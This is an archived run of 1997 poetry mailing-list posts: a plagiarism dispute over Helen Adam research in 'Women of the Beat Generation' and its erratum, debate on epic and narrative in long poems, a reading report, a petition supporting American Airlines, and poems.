Had I known that Knight was going to rely so heavily on my essay, I might have warned her that I wrote the essay early in my work with the Adam archive, and that the facts in the essay were not necessarily set in stone. Unfortunately, as in the "off-Broadway" example, Knight repeated another of my errors. I wrote (and soon after corrected, but apparently not in the version I sent Knight) that ". . . Helen Adam became the pride of Scotland. The Elfin Pedlar was graced even by a note of praise from the Queen of Scotland herself." Ooops! There hasn't been a Queen of Scotland for centuries! Call it a mad-queen's revenge, but it is now published in Knight's introduction that "Upon its publication, Helen Adam became the pride of Scotland; The Elfin Pedlar even elicited a note of praise from the queen of Scotland herself." Helen Adam in fact received a note from an aristocratic acquaintance, who forwarded her a note of praise from the Queen...of England.

The two clarifications are separate from my six paragraphs that were "accidentally" used in Knight's introduction. Referring to those, I do not necessarily think that a mass-market trade edition of a book should be bogged down with footnotes and sentences beginning "According to..." However, I do think a book with 30+ long introductions, that is being marketed as "well researched," should have a list of sources credited at the end. Most anthologies do this. Of course, I also think that Brenda Knight would be better off admitting that for the Helen Adam section she was in a bind: that the book was close to press-time, that she wanted to include Helen Adam but had no information, that she called me (a graduate student) for information, that I provided it, and that she unashamedly used it. Because she strategically is refusing to do this, I cannot help but think that other introductions in the book are plagued by the same thievery, although certainly not on as large a scale. This is not to say the "Women of the Beat Generation" was not researched. I do not dispute that Knight conducted hundreds of interviews to get her information for the other sections. Therefore, I think that the only way for The Conari Press to make amends with me (and maintain credibility with the larger reading community) would be to have Brenda Knight go out and do research herself for a new essay about Helen Adam for the second edition.

This post reflects more than my own personal anger--the Conari Press is a small press, and this book will probably do quite well for them. (They are marketing it with an audio cassette with Debra Winger reading some of the poems!) Why couldn't it have been done right? It is an offense to the responsibility and respectability of small presses, that it was not.

Those interested in Helen Adam can see my early essay at
http://writing.upenn.edu/epc/authors/prevallet/adam.html.
Or see my essay "A Sketch for a Helen Adam Biography" in the most recent "First Intensity." I made an error in that essay however: Robert Duncan died in 1986 and not in 1988 as I wrote.

Thanks again to Maria Damon for referring me to the National Writers Union, who helped settle this case out of court.

Sincerely, Kristin Prevallet

ERRATUM Due to an unfortunate combination of computer glitches and copy editor confusion, portions of the biographical sketch of Helen Adam in the Conari Press title "Women of the Beat Generation," that were drawn from the work of Kristin Prevallet, appeared without complete attribution. Ms. Prevallet generously provided us with her excellent research on Helen Adam and we apologize for any harm that might have occurred. Future printings will restore the original accurate acknowledgments.

Thank You,
Will Glennon
Publisher, Conari Press
Brenda Knight
Author, "Women of the Beat Generation"

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199. David Israel
Re: epic/narrative - Flowchart
Fri 9 May 1997

Dwayne --

good question. I suspect the answer is (at least often, or sometimes) a (perhaps qualified) "YES, you bet!" --

but others might care to answer / discuss in more detail. These are tricky issues, eh? For instance: If one enters a dialogue w/ a tradition, by (say) breaking the expectations of that tradition, one's piece of the puzzle may still be a piece of the puzzle . . . -- (but your question could be addressed more specifically than I'll muster here at 5 a.m.)

d.i.

/ / / / /

>>> Daniel Tessitore <[redacted]> 05/09/97 08:32am >>>
Pat wrote:

Yes, David, I think _ Flowchart_ cld indeed qualify as an epic whose epicness consists in its undermining of the trad. idea of the epic, though like you, I've not read it all yet.
Patrick P.

How does undermining trad. ideas of a genre constitute that genre? I suppose if one means by epic "very very large in scale," then that statement would hold, Flowchart being large in the way we are not used to seeing large. But if by epic we are talking about such elements as narrative, characters, blah, blah, then how does undermining those things alone equal the same thing? Is L-A-N-G-U-A-G-E poetry which "resists" or "disrupts" the trad. idea of the lyric, by the same token, also lyric?

Dwayne

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200. **rsillima**
The Narr
Fri 9 May 1997

Narrative = the unfolding of meaning in (across) time

As Grenier himself has demonstrated (in more ways than one), even a single vowel has a beginning, middle and end, events that can be modulated, expectations set up and either satisfied, turned aside or turned up on their heads (right side up)

The idea of a non-narrative art exists as an idea
but it never exists in the face of an actual text or sounded poem

Story is a whole other ball o' wax

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

When this you see
Remember me

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201. **David Israel**
Re: epic/narrative / Crow / Hass
Fri 9 May 1997

Daniel T. --

I've not read Hughes' *Crow* so can't comment -- but wasn't that, btw, made into an opera (or opera-like thing) by Pete Townsend?

d.i.

p.s.: By the way, who's Great Britain's poet-laureate these days? Relatedly, is that a job-for-life? (I'm presuming, you're perhaps British, ergo qualified to answer these obscure questions -- though the e-address suggested Japan I think.) Here in DC, Robert Hass gave his farewell reading last week, ending his 2-year stint as Po Laureate -- with some damn good new stuff, must say. I saw him read several times over that period, and my appreciation of the chap certainly grew. Hass was mentioned as having participated in that recent conference -- but I didn't see mention of what he might've had to say. Worth repeating? Robt. Pinsky's the next-in-line-laureate, as you'all perhaps know . . . (maybe Dante Studies will go up on the charts now?)

>>> henry <[redacted]> 05/08/97
08:25am >>>
On Thu, 8 May 1997 21:04:56 +-900 Daniel Tessitore said:
>
>As to narrative--does Ted Hughes' CROW qualify? He originally had a
more
>unified narrative frame, complete with a prose bit I believe, and he cut it
>out. Can the result be called story, narrative, linear?

in my view, even a riddle has a story to tell.
- Sherlock Holmes

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202. **Pierre Joris**
Re: epic as epic
Fri 9 May 1997

Aldon L. Nielsen wrote:
>
> just curious -- has anyone out there ever read Paul Ricoeur's works on
> _Time and Narrative_? I only have Vol. I --

Yeap, ages ago. Got stuck somwhere towards the end of vol II when Mrs Dalloway comes in. Have promised myself often to get back to it, but

sofar no time, or else for taste for Ricoeur nas waned. Not sure which.
-- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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203. CHRIS MANN
Re: The Narr
Fri 9 May 1997

On Fri, 9 May 1997 [redacted] wrote:

> *Narrative = the unfolding of meaning in (across) time*

'time based' cf 'narrative'. music may or may not be narrative. (may or may not be time based for that matter, but..) sculpture.. you get the idea. as to the unfolding of a vowel and the (please!) avoidance of hegel, i dare say your guess is as good as mine though what either knows of the other does not necessarily include narrative. that would require a change of mind.

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204. Tom Mandel
epic as poem of war
Fri 9 May 1997

> *From: Pierre Joris <[redacted]>*
> *Re envisioning a contemporary epic possibility see also Alice Notley's*
> *_Homer's Art_ (in the "Curriculum of the Soul" series), as lovely &*
> *sharp corrective to allmale at-swords-point heroic epic.*

...but also see Simone Weil's "The Iliad: Poem of War" (prob. a familiar citation to most on this list. Yes?)

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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205. **Michael Boughn**

Re: R Johnson/epic

Fri 9 May 1997

> *No, Mike, I wasn't just being a smartass.*

I certainly never thought that, Charles, only that your question perhaps answered itself.

> *What does it mean to place one's work in that tradition, offering a "long poem," while disavowing any need to grapple with history?*

Doesn't it mean to step up to a different plate, to enter a different conversation, as far as the writing goes. And to locate poetry in a very sepcific relation to the world. I hear you on the question of creative imagination, but it seems to me the difference between, say, Ark and Maximus is not about creative imagination but literally and irreducibly about "history".

> *Against the sweeping totalizing gestures of Whitman, Pound, Olson, does "A" offer one alternative? where the "grand narrative" gives way to the individual poet's attention & arrangements? _Ark_ seems to strive for LZ's "totality at rest." The two poems foreground the creative imagination through their music & architectonics.*

I don't think I'd agree that any of these are "totalizing gestures" (a phrase that these days oozes with malediction). On the contrary, all of them are defenetrating gestures. The problem is in how they come to terms with history--Whitman overwhelmed by democratic possibility, Pound overwhelmed by reactionary nostaligia for heroic culture, Olson--I can't say about Olson right now, but the problem doesn't seem to be "totalizing grand narratives." Again, it's got to do with the specifics of the relation to history. So you're right in that avoiding an articulation of a relation to history would get you around that problem. And out of the conversation that preoccupies the telling/doing/seeing (Dave Chirot's "site/sight/cite") we are calling the epic.

It seems to me that once again we get caught in Ulro with our simplistic dichotomy between "(totalizing) narrative = epic" vs. "non-ordering intervention = (non-totalizing) non-narrative", where, as those French guys teach, one side of this equation is good and the other ain't so good (like individual/social, I/other etc.) It must be handy to have it all laid out in such a neat, moral map, but isn't what we're looking for a story? An(other) telling of our story? Isn't part of our problem in finding a new relation to meaning as we encounter it in history?

And having stepped right into the middle of that stinker, I'm going to go change the baby.

Good to talk with you, Charles.

Best,
Mike

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206. **hen**
Re: The Narr
Fri 9 May 1997

On Fri, 9 May 1997 04:49:07 -0500 <[redacted]> said:
>Narrative = the unfolding of meaning in (across) time
>
>The idea of a non-narrative art exists as an idea
>but it never exists in the face of an actual text or sounded poem
>
>Story is a whole other ball o' wax
>

Is story then narrative made mimetic - that is an image (partial, distorted) of recognizable reality (i.e. reality as a combination, a whole, living, not an abstracted simple sound, etc. or discourse). - "Henry" illegitimate granddaughter of "Stein" "Coolidge" & "Fernando"

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207. **Tom Mandel**
categories
Fri 9 May 1997

<mind>

Imagine a world fully defined by the rules of geometry, in which all entities are geometric entities.

Imagine within that world a space in the shape of a star. Imagine further that we possess a mechanism which allows us to enlarge or reduce this space, which may be a mental space (and the mechanism a mental mechanism), without changing its geometry (its proportions if you will).

Now we take an object in hand.

Using our mechanism we may compare the object in hand and the space-in-the-shape-of-a-star to determine whether the object will fit the space in such a way that all the vectors determining the space's shape touch at each point all the vectors determining the object's shape.

If so we would be in a position to say: "this object is a star" or more modestly, "here is evidence that this object is a star -- it has the shape of a star."

In so reduced a world it is possible categories of mind might work in the way I describe. And in this way does the discussion of epic and narrative on this list proceed.

Probably not, however, as an unstated assumption of a typological narrative such as mine (above) is that there is an operator inside the world with access to at least one dimension beyond the world being operated (e.g. "take an object in hand", etc.).

A good place to start learning how categories actually work is _Women, Fire, & Dangerous Things_ by George Lakoff.

...or as Alberto Caiero for F. Pessoa InterPersonal writes (more or less) "The wind sings I am wind" -- i.e. not "I am windiness."

</mind>

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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208. **hen**

Re: epic as poem of war

Fri 9 May 1997

On Fri, 9 May 1997 08:12:32 -0400 Tom Mandel said:
>

>...but also see Simone Weil's "The Iliad: Poem of War" (prob. a familiar
>citation to most on this list. Yes?)

I think that's "Iliad : Poem of Force" (just to pick lice) - Henry

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209. **hen**
Re: categories
Fri 9 May 1997

Tom, look out, there's a comet approaching your left category from the north. Don't let "it" slug you or bully you in any way.

I think the discussion of narrative & epic & poetry started in from a scattered astronomical forte anomaly. The engendering trope master dictation squirrel envelope big bang involved the originary question:

is the issue of storytellying/narrative/drama/"action" (in Arrydistortle's sense) interesting with respect to "poetry in the public sphere"?

& it's opened a field theoretical blurb knockabout kookaburra in several directions. but if you're tired we can go back to discussion engineer fluid mechanisms in remote extracurricular control.

- Star Vehicle 13 (Gould)

also, Spandrift Squirt Elephant 4-wheeler has asked me to shut the trap for a spell. closing...

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210. **Tom Mandel**
feathers to iron
Fri 9 May 1997

I'm a few days/weeksd/months behind on the list

...(and always reading from most recent to oldest, which somehow doesn't improve one's sense of having conclusions to work from in moving toward valid premises)...

Mike Boughn's mention of _From Feathers to Iron_ passes me by -- Mike, which "Clarke" is the author, and can you say more about the book? (by backchannel if it had been identified to the list and I mist).

plop! (damn a piece of scone fell into my cocoa)

Huh, I could have sworn I read a couple of references to "as far as I've read in" one poem and other indications of asking whether X is Y when you don't know X. Of course time is tight right now, epically tight.

(actually, that tastes good. all soft and kind of having lost any reference to what intentions went into its making. it's as if the scone was a modifier of the cocoa or as if it's all really cocoa, some is just also scone or was)

If I mispell mispelling as mipselling, and claim its high intelligence, only Ron Silliman on this list will read that as a joke and also see it as a key to an epic narrative of our lives (hint: "mip" is an acronym).

(I bet I could market this? Not crisp enough? Hmmm, how to keep the scone bits crisp in the cocoa...)

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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211. Maria Damon

Re: erratum to the erratum: Beat Women (fwd)

Fri 9 May 1997

---

kristin prevallet writes:
>Those interested in Helen Adam can see my early essay at
>http://writing.upenn.edu/epc/authors/prevallet/adam.html.
>Or see my essay "A Sketch for a Helen Adam Biography" in the most recent
>"First Intensity." I made an error in that essay however: Robert Duncan
>died in 1986 and not in 1988 as I wrote.
>

it's my understandng that duncan died in 1988. i was on an mla panel on duncan at mla 1987, and there was some excitement abt whether duncan wd be able to come or not; he couldn't, as he was too ill. btw, thanks for the update on l'affaire conari! i hope the settlement is somewhat to your satisfaction. conari should, at least, in my opinion, be thoroughly embarrassed.--md

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212. **Mark Prejsnar**
Re: epic/narrative
Fri 9 May 1997

Don't agree. Someone's work can be, taken as a whole, fairly representative of a given direction...I got ambushed because I know about 6 Coolidge books, a whole lot of writing, but not At Egypt, which everyone keeps mentioning. The principle still works, tho', as an abreviation of longer arguments I don't have the time to type in. Bocce is more than those balls down the court!

MP

On Thu, 8 May 1997, Jordan Davis wrote:

> *See, the thing is, there is no such thing as "Coolidge" or "Stein". To say*

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213. **Tom Mandel**
Re: Simone Weil
Fri 9 May 1997

No, I think I misquoted the title from memory.

At 09:49 AM 5/9/97 -0700, you wrote:
>Tom,
> In the Pendle Hill pamphlet version of Weil's piece, it reads
>"...Poem of Force." Does "force" work as a translation? Do you know the
>French [I don't]; does it read "guerre"?
> If "force" really does translate it [it seems to, the way she
>talks about the numbing character of terror], that wd. put a different
>spin on "epic," eh?
>Dan Zimmerman
>

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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214. **Aldon L. Nielsen**
Re: epic as epic
Fri 9 May 1997

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just curious -- has anyone out there ever read Paul Ricoeur's works on _Time and Narrative_? I only have Vol. I --

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215. **Douglas Barbour**
Re: narrative / non-narrative
Fri 9 May 1997

I'm a bit behind, but play with these terms has certainly been going on in Canadian criticism of various kinds of long poems up here. Actually, Charles Berstein would still recall coming on to speak at The Long-Liners conference back in 1984 right after Gary Geddes, a very trad poet, had held forth on the desirability of getting out from under the influence of such terrible poets s Pound (!) & back to storytelling. Charles's response, one I have come to expect & enjoy since meeting him later, was "I'm pleased to follow Gary Geddes because I can report to you that I disagreed with most of what he said." And most of the papers at the conference took up other modes of long poem than the 'simple' narrative. But I want to point to Canadian master of the long poem & its poetics, Robert Kroetsch, whose ongoing poem is called Field Notes (_Completed Field Notes_ Toronto: McClelland & Stewart, 1989). In an essay, "For Play and Entrance: The Contemporary Canadian Long Poem" (in _The Lovely Treachery of Words_ Toronto: Oxford UP, 1989 [these can be tracked down if you try]), he says, specifically of bpNichol's _The Martyrology_: "In Nichol we have, supremely, against the grammar of inherited story, the foregrounding of language. But the limits of language are such (the spirit become flesh; The Word become words) that all should be written down." And: "A method, then, and then, and then, of composition; against the 'and then' of story. . . . The story as fragment _becomes_ the long poem: the story becomes its own narrative; i.e., our interest is in, not story, but the _act_ of telling the story."

That's a beginning, of a way of looking at the reading of a lot of US long poems too, how they pull us into the ongoing process of writing/reading, or, perhaps, in response, reading/writing. And it has something to do with the onrushing catching of one's interest in a series of 'sonnets' in Jack Clarke's _In the Analogy_ (which I also recommend), as the accumulate the narrative of their own coming to be, in order... Works, in its way, too, for those parts of _Ark_ I have so far read.

==========

==========

Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigary
H: [redacted]

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216. **Joseph Lease**
Re: epic/narrative
Fri 9 May 1997

---

agreed: though the continuity of Stein and Stein, from for example Melanctha to for example Tender Buttons teaches me a lot by the fact of continuity:

On Thu, 8 May 1997, Jordan Davis wrote:

> *I am feeling like an old bocce player now as I exclaim "But sure that's narrative, _The Making of Americans_." There are characters, there is development, aggh.*
>
> *See, the thing is, there is no such thing as "Coolidge" or "Stein". To say "Coolidge" or "Stein" is to ignore that these people did more than repeat a dominant trope. Every time you think of them that way you're thinking of a Big Mac, and every time you think of a Big Mac, you salivate (and/or retch). The function of literature inasmuch as things people say write or type can have functions is to remind people that although autonomic response is an exciting option it is not one one is bound to. Omit your independence to your cost.*
>
> *Ah, see, you made me get soaked in romantic individualism again. Anyway before the quarter in this coin-op John Godfrey-imitation wears out, let me finish by reminding you that this is all closer to law than science, that it's only argument bullying clarity and detail that go over here. No work worth talking about is one thing, and no person can be spoken of with respect as a simple unified person, with respect to the wild ongoing cellular recordkeeping anyway.*
>
> *So,*
> *Jordan(s)*

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217. **maz881**
Re: epic/lyric
Fri 9 May 1997

Aldon wrote:

> *"narrative" and "lyric," while naming*
> *difference, are inextricably and definitionally*
> *bound up in one another's*
> *cloudy metahphrical arms*

thanks aldon. been thinking about sappho in this context:

Most men take strategic knights, while others
claim armymen; the rest hold up battleships
as the greatest show on earth. But I declaim.
It's who do you love.

It's no trouble to cinch this once and for all.
For she was Helena, beauty of the mortal
elsewhere, who left the man, the aristocrat,
behind.

And went floating off to Troy, with no
mind for offspring or beloved parents.
Love walked her sideways, knowing
straightway.

For swayed
    lightly t one
    puts me in mind of Anaktoria, now
out of sight.

I would rather see her step the lovely
and do the facial shine more than any
continental chariot decked with soldiers
under arms.

sometimes i think epic was over when this poem got written. or virgil was a dope for not realizing it.

BillL

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218. **Pritchett,Pat**
Re: epic redux
Fri 9 May 1997

Dwayne,

Undermining traditional ideas of a genre re-constitutes that genre through re-sistance to the assumptions implicit in the genre, through resistance to the ideas which govern or define the genre's identity, and this is done by borrowing the terms of the genre and playfully (as in Ashbery's case) standing them on their head even while acknowledging to some extent a degree of fidelity to the original model - in _Flowchart's_ case, _The Prelude_.

Patrick Pritchett

From: Daniel Tessitore
To: POETICS
Subject: Re: epic/narrative - Flowchart
Date: Friday, May 09, 1997 3:06AM

How does undermining trad. ideas of a genre constitute that genre? I suppose if one means by epic "very very large in scale," then that statement would hold, Flowchart being large in the way we are not used to seeing large. But if by epic we are talking about such elements as narrative, characters, blah, blah, then how does undermining those things alone equal the same thing? Is L-A-N-G-U-A-G-E poetry which "resists" or "disrupts" the trad. idea of the lyric, by the same token, also lyric?

Dwayne

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219. Steve Carll
A Berkeley reading this time!
Fri 9 May 1997

John High and Thoreau Lovell did a real final farewell reading together on Wednesday, May 7th. After hurriedly paying our tab for dinner at Blake's (about which the less said the better) we hustled over to Cody's where _Poetry Flash_ dude Richard Silburg introduced Thoreau, Thoreau having won the coin toss. Thoreau read mostly newer work, concentrating on a sequence called "Amnesia's Diary", which he capped by forgetting the last line of the last poem, which was "fools in all our forgetting". The appropriateness of such forgetting enhanced the easy spirit of the occasion rather than making Thoreau look bad. Some other lines of Thoreau's included:

ash to electronic exuberance
a prayerwheel of indestructible magazine poses
sound of water in the air
one old chromosome watching over the city
the clocks and the weather stopped talking to each other
smoking mountains stolen from the eyes of grazing horses

Thoreau also read "Pots and Pans", "Sharks", "Sex No Sex" and "Parts of It"

There was a short break and Richard introduced John, who read from the Sasha Poems (mostly different than at his last two readings):

the fog lifting over Dogen's head, the sitting master weeping
specific ghosts are not real ghosts
our life depended on a meaning obvious in the bird's posture
o world, if you contain our silence, where will it grow?
that which you do not bring forth will destroy you
the chanting, like smoke, lifting from the Siberian wilderness [I
erroneously reported this line last month as "Siberian landscape"--D'ohh!]
Poppa, have all of these birds come to see me?
All of our lives we evade the truth, Hermes said
these days the sun feels almost too fantastic

In the audience were Jandy Nelson, Julia Ward, Andrew Joron, Fanny Howe, Michelle Murphy, Sally Doyle, Anne and George, Cheryl Burket, Jack and Adelle Foley, Chris Daniels, Pat Reed, and John's friend Bob whom he met on the 'net and was just now pressing flesh with for the first time. A bunch of us went back to Blake's for more [i.e. drinks] afterwards. And then there was the ride back across the Bay, an adventure in its own write, but a bit beyond the purview of a reading report, sorry! Have a fabulous trip, John.

{{{

Granted. I guess in my rush to defend the complications, I oversimplified. This is not to cede the right to describe the vector and the complications of that vector, though, which I see as really enmeshed (cough) with narrative, or with story anyway. Narrative I hear more and more as a code word for 'identity fiction'. A story, I sort of know what that is. Something happened. To know what happened, though, you have to know this other thing that happened before, and this longstanding idea the people involved have of what is going to happen someday, and then you have to know how all these people deal with each other. Coolidge goes through this in most of the post-Solution Passage books I've seen, especially Mine, Mesh, and During. True, it's harder to see how this kind of description of Coolidge's work would apply to stuff like Space or The So.

And then there's the perpetual metanarrative of the poem talking to other poems? the poem's own identity politics?

Blah blah but trying to say something anyway,
fuzzy Jordan

↑ Index

221. Christopher Alexander
American Airlines Petition
Fri 9 May 1997

Please pass this on...

------- Forwarded Message Follows -------

BACKGROUND: American Airlines is a major sponsor to and supporter of groupslike GLADD, the Human Rights Campaign, the Gay and Lesbian Victory Fund, the AIDS Action Foundation, DIFFA, AmFAR, and scores of community-based groups representing gays and lesbians. It is also the first airline to adopt a written non-discrimination policy covering sexual orientation in its employment practices.

In an unusual joint letter was released to the media on Friday, March 14th from the Family Research Council, Concerned Women of America, American Family Association and Coral Ridge Ministries. Radical right leader Beverly LaHaye also went on Christian "talk radio" on Friday to blast American Airlines because "American's sponsorship of homosexual 'pride' events constitutes an open endorsement of promiscuous homosexuality." She and the other groups have written Bob Crandall at American to complain that the airline has "gone beyond mere tolerance" of gays and lesbians. The full article appeares in Friday's Fort Worth Star-Telegram, and possibly picked up by other newspapers around the country. It has come to the attention of the gay and Lesbian community that American Airline's switchboard and e-mails are being bombarded

now by homophobic and hateful callers who have been urged by LaHaye and others to DEMAND the company terminate its gay-friendly policies.

***if you are the 25th, 50th, 75th, 100th, etc. person to sign this petition then please forward this to American Airlines at:
[redacted] ***
>
>
To American Airlines: We, the undersigned, support your gay/lesbian rights polices and commend you for your efforts in ending discrimination. Thank you
> for your dedication to such issues and please continue to remain active in the struggle to end discrimination.
>
> 1. Marybeth Kurtz, Philadelphia, PA
> 2. Jen Faust, Goucher College, Balto. MD
> 3. Heather Riley, UMBC, Balto., MD
> 4. Katy Schuman, UMBC, Balto., MD
> 5. Rebekka Gold, Oberlin College, Oberlin, OH.
> 6. Danielle Hirsch, Oberlin College, Oberlin, OH.
> 7. Jerrod Wendland, Oberlin College, Oberlin, OH.
> 8. Jon Morgan, Ohio Wesleyan University, Delaware, OH.
> 9. Keri Rainsberger, Indiana University, Bloomington, IN.
> 10. Cheryl Lynn Bates, Indiana University, Bloomington, IN.
> 11. Court Singrey, Indiana University, Bloomington, IN.
> 12. Carol Fischer, Indiana University, Bloomington IN.
> 13. Patrick Wojahn, University of Wisconsin--Madison.
> 14. Dee Michel, University of Wisconsin--Madison
> 15. Adam L. Schiff, University of Washington, Seattle, WA
> 16. Tim Bratsos, San Francisco, CA
> 17. Craig Hibbs, San Bruno, CA
> 18. Edwin S. Blacker, Washington, DC
> 19. R. Thomas Rodriguez, Washington, DC
> 20. Rumi Matsuyama, Hyattsville, MD
> 21. Bart Broome, San Francisco, CA
> 22. John Cordaro, San Francisco, CA
> 23. Bryan Hughes, San Francisco, CA
> 24. Linh Pham, San Francisco, CA
> 25. Will Sayo, San Jose, CA
> 26. Wayne Sobon, San Francisco, CA.
> 27. Marta Tanenhaus, Washington, D.C.
> 28. Read Sherman, Harvard Divinity School, Cambridge, MA

> 29. Beth Ward, Northampton, MA
> 30. David Van Fossen, Brooklyn, NY
> 31. Emily Barton, Brooklyn, NY
> 32. Ruth Tobias, Boulder, CO
33. Cathy Wagner, Salt Lake City, UT
34. Christopher Alexander, Salt Lake City, UT
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

↑ Index

222. Charles Bernstein
LINEbreak in RealAudio
Fri 9 May 1997

Now up at the EPC in RealAudio, LINEbreak programs with

Susan Howe (two half-hour shows)

Madeline Gins

Barbara Guest

Ben Friedlander

http://writing.upenn.edu/epc/linebreak/programs/

↑ Index

223. Daniel Tessitore
Re: epic/narrative - Flowchart
Fri 9 May 1997

Pat wrote:

Yes, David, I think _ Flowchart_ cld indeed qualify as an epic whose
epicness consists in its undermining of the trad. idea of the epic, though
like you, I've not read it all yet.
Patrick P.

_____

How does undermining trad. ideas of a genre constitute that genre? I suppose if one means by epic "very very large in scale," then that statement would hold, Flowchart being large in the way we are not used to seeing large. But if by epic we are talking about such elements as narrative, characters, blah, blah, then

how does undermining those things alone equal the same thing? Is L-A-N-G-U-A-G-E poetry which "resists" or "disrupts" the trad. idea of the lyric, by the same token, also lyric?

Dwayne

↑ Index

224. Daniel Tessitore

Re: epic/narrative - Flowchart

Fri 9 May 1997

David Israel wrote:

Dwayne --

good question. I suspect the answer is (at least often, or sometimes) a (perhaps qualified) "YES, you bet!" --

but others might care to answer / discuss in more detail. These are tricky issues, eh? For instance: If one enters a dialogue w/ a tradition, by (say) breaking the expectations of that tradition, one's piece of the puzzle may still be a piece of the puzzle . . . -- (but your question could be addressed more specifically than I'll muster here at 5 a.m.)

d.i.

David,

Your assertion, "If one enters...puzzle," goes a long way to clarify (and perhaps even debunk) the rather too dichotomous genre/anti-genre approach. Thanks. To push this along though--here's a bit from Lazer:

"Operating outside the universities and the official verse culture, Language Writing has developed a character that makes reviewing it problematic. Detailed readings of its devices and compositional modes might well subordinate LW to the very habits of reading and thought it means to resist." (Opposing Poetries, 1996)

This assertion confuses me somewhat, I confess--"its devices...modes" implies that these things are known/knowable (reviewable?) quantities, but "subordinate LW to the very habits..." implies that said devices and modes are the same(?).

Dwayne

↑ Index

225. **Daniel Tessitore**
Re: epic/narrative / Crow / Hass
Fri 9 May 1997

Nope. American. From Maryland no less. In Japan now yes. I believe British Po Laureate is for life, but I'm not sure. Ad GOD I hope Pete Townshend has not attempted to rock-operize CROW.

Dwayne

From: David Israel[SMTP:[redacted]]
Sent: Friday, May 09, 1997 7:58 PM
To: [redacted]
Subject: Re: epic/narrative / Crow / Hass

Daniel T. --

I've not read Hughes' *Crow* so can't comment -- but wasn't that, btw, made into an opera (or opera-like thing) by Pete Townsend?

d.i.

p.s.: By the way, who's Great Britain's poet-laureate these days? Relatedly, is that a job-for-life? (I'm presuming, you're perhaps British, ergo qualified to answer these obscure questions -- though the e-address suggested Japan I think.) Here in DC, Robert Hass gave his farewell reading last week, ending his 2-year stint as Po Laureate -- with some damn good new stuff, must say. I saw him read several times over that period, and my appreciation of the chap certainly grew. Hass was mentioned as having participated in that recent conference -- but I didn't see mention of what he might've had to say. Worth repeating? Robt. Pinsky's the next-in-line-laureate, as you'all perhaps know . . . (maybe Dante Studies will go up on the charts now?)

>>> henry <[redacted]> 05/08/97
08:25am >>>
On Thu, 8 May 1997 21:04:56 +-900 Daniel Tessitore said:
>
>As to narrative--does Ted Hughes' CROW qualify? He originally had a
more
>unified narrative frame, complete with a prose bit I believe, and he cut
it
>out. Can the result be called story, narrative, linear?

in my view, even a riddle has a story to tell.
- Sherlock Holmes

↑ Index

226. **Joe Safdie**

Re: Orpehus (apologies, a little long)

Fri 9 May 1997

On Thu, 8 May 1997, henry gould wrote:

> I'm reading a book about the pervasiveness of an "orpheus" story in many
> variations in native american storytelling. The orpheus myth of Greece
> (coming maybe originally from eastward) makes the journeyer to the
> world of the dead a poet (in the stories or myths usually its "just"
> a man or woman going to try to fetch lover/kin back to the living).
> Does the greek version add a "reflexive" element - because this is
> THE epic tale?
>

Henry, I'm not sure it's "THE" epic, but it does of course feature the
trip to the dead I spoke of a few days back -- not, apparently, from
the east of Greece, but from the north. Dodds' book _The Greeks and The
Irrational_ (still a great read) has a section on Orpheus that says the
myth came from Siberian shamanism -- the trip to Hades, then, was
originally the shaman's ability to bridge the two worlds, be in contact
with departed spirits. Orpheus was first a priest -- the lover and the
poet came a little later.

For you, and for anyone else still interested in the "old guys", a few sections
from my work-in-progress _Orpheus Retold_.

"a little too much in love
with his own music"

he'd gotten used to
the women's eyes closing,
their bodies swaying in trance,

thought no one could resist
those melodies, piercing
the bloodsteam, swifter

than any drug . . . so
challenged the death gods,
offered himself instead, "and

the bloodless ghosts, too,
were in tears." Triumphant,
he started back up,

but couldn't stop thinking about
the audience he'd just left,
command performance,

and looked back to see if
there were any more hangers-on . . .
someone should have told him:

you can't approach the dead
by looking for them. Soon
the critics got restless,

dissing him like a pop star
whose second album sells
less than the first. They wondered

if he'd lost it, that unique sound,
that voice . . . he took to the hills,
becoming "the first of Thrace

to prefer young boys" they
never looked back

ORPHEUS SPEAKS

I don't trust these animals,
yellow eyes gleaming in the dark.
They'd just as soon rip me apart.

I don't know why I turned around --
I couldn't even see her face
in the dark. The villagers say

it was love, but Aphrodite
is not my god. She knows
I serve a different master:

order, harmony. What would happen
if I stopped playing? In the dark
they'd rip me apart.

The drunken sailors on the ship --
all they remembered were the birds.
Did they ever find that fleece?

I was watching the birds. Order,
harmony. The dead liked it too,
their shadows were dancing.

Drunken sailors. Animals.
Aphrodite is not my god.
I couldn't even see her face.

↑ Index

227. **shoemakers**
Re: epic/narrative / Crow / Hass
Fri 9 May 1997

Dipping into poetix after a blurry absence, and just want to add my approval of the Hass *Essential Haiku*--excellent translations and a lot of good intro and background material as well. steve

Steve Shoemaker

↑ Index

228. **minkacroy**
Poets Theatre at New Langton Arts
Fri 9 May 1997

Hello all,

I'm a literature curator at New Langton Arts in San Francisco and I am interested in having the organization put on some small productions of plays which could be considered "poets' theatre". If you have a script and might be interested in having me look at it, please send me an email with a brief description of the play and a brief bio.

If anyone has Fiona Templeton's email address, I would appreciate back channel forwarding of same.

thanks
Camille Roy
[redacted]

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229. **Christina Fairbank Chirot**
Re: The Narr
Fri 9 May 1997

In response to/with Ron Silliman's noting Robert Grenier's work in re narrative--(glad this was raised)--

Grenier has an excellent book on narrative in the Curriculum of the Soul series which John Clarke edited.

It's called

